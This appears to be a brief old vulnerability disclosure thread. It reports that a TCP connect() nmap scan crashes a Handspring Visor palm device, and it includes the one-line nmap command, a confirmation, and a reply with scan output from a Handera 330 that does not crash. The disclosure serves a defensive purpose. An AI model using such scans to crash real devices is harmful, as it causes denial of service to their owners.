Problem:

    The handspring Visor seems to have problems dealing with an nmap scan:

Exploit:

   bash-2.04# nmap ip address of visor | This causes a Fatal Exception on
the palm device.

Confirmed. It's the TCP connect() scan type that knocks it over. It
seems to survive SYN, FIN, and UDP scans.

Weird, my Handera 330 (PalmOS 3.5.3) connected via wireless survives a
TCP connect nmap with no problems:

simond@laptop:~$ nmap palm

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )
All 1549 scanned ports on palm.internal.irrelevant.org (192.168.253.3) are: closed

Nmap run completed -- 1 IP address (1 host up) scanned in 25 seconds
